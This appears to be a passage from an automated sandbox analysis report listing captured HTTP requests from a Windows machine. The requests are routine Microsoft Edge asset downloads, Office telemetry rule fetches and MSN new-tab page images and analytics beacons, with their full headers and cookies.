Source: global traffic	HTTP traffic detected: GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: EntityExtractionDomainsConfigSec-Mesh-Client-Edge-Version: 117.0.2045.55Sec-Mesh-Client-Edge-Channel: stableSec-Mesh-Client-OS: WindowsSec-Mesh-Client-OS-Version: 10.0.19045Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-WebView: 0Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ShorelineSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1732939366&P2=404&P3=2&P4=QeHNH8ONoQP3sM5RX2lbayz4WjwuvLpPBtLZjcvMVzwrKNmABwKQwsNYGPceazeH5qI4Nz8pm2Eobb3C%2f87Gjg%3d%3d HTTP/1.1Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.comConnection: keep-aliveMS-CV: VvI8qnli22ouC9lP+7eTmXSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /statics/icons/favicon_newtabpage.png HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=21DC5826412B689A12D14D66402C691D; _EDGE_S=F=1&SID=0E1A4FCA525B6B4B30B15A8A53886AFC; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1732334574868&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=46462d4fbb474e0d92404563aece9897&activityId=46462d4fbb474e0d92404563aece9897&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=21DC5826412B689A12D14D66402C691D; _EDGE_S=F=1&SID=0E1A4FCA525B6B4B30B15A8A53886AFC; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /b?rn=1732334574869&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=21DC5826412B689A12D14D66402C691D&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1732334574868&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=46462d4fbb474e0d92404563aece9897&activityId=46462d4fbb474e0d92404563aece9897&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=D6BD8FCA1E324A11A7C1D2CDE9E69056&RedC=c.msn.com&MXFR=21DC5826412B689A12D14D66402C691D HTTP/1.1Host: c.bing.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-MS-GEC: 96731DF915C848528029D0C8765D5FD12A9D1CF7469E1C5AB4CEEB7537F1D669Sec-MS-GEC-Version: 1-117.0.2045.55Referer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msyO7.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1u24yb.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /b2?rn=1732334574869&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=21DC5826412B689A12D14D66402C691D&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: UID=1A22a02efe758d6a15abe3f1732334575; XID=1A22a02efe758d6a15abe3f1732334575
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=21DC5826412B689A12D14D66402C691D&ACHANNEL=4&ABUILD=117.0.5938.150&clr=esdk&edgeid=5518710994624701133&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=a217db8ade8f491eeb5b81d3894174cb HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=21DC5826412B689A12D14D66402C691D; _EDGE_S=F=1&SID=0E1A4FCA525B6B4B30B15A8A53886AFC; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1732334574868&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=46462d4fbb474e0d92404563aece9897&activityId=46462d4fbb474e0d92404563aece9897&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=D6BD8FCA1E324A11A7C1D2CDE9E69056&MUID=21DC5826412B689A12D14D66402C691D HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=21DC5826412B689A12D14D66402C691D; _EDGE_S=F=1&SID=0E1A4FCA525B6B4B30B15A8A53886AFC; _EDGE_V=1; SM=T
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=21DC5826412B689A12D14D66402C691D&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.150&clr=esdk&edgeid=5518710994624701133&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=6e8072a29e0a43ca95d99022b0aab14d HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=21DC5826412B689A12D14D66402C691D; _EDGE_S=F=1&SID=0E1A4FCA525B6B4B30B15A8A53886AFC; _EDGE_V=1; _C_ETH=1
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msG0Z.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
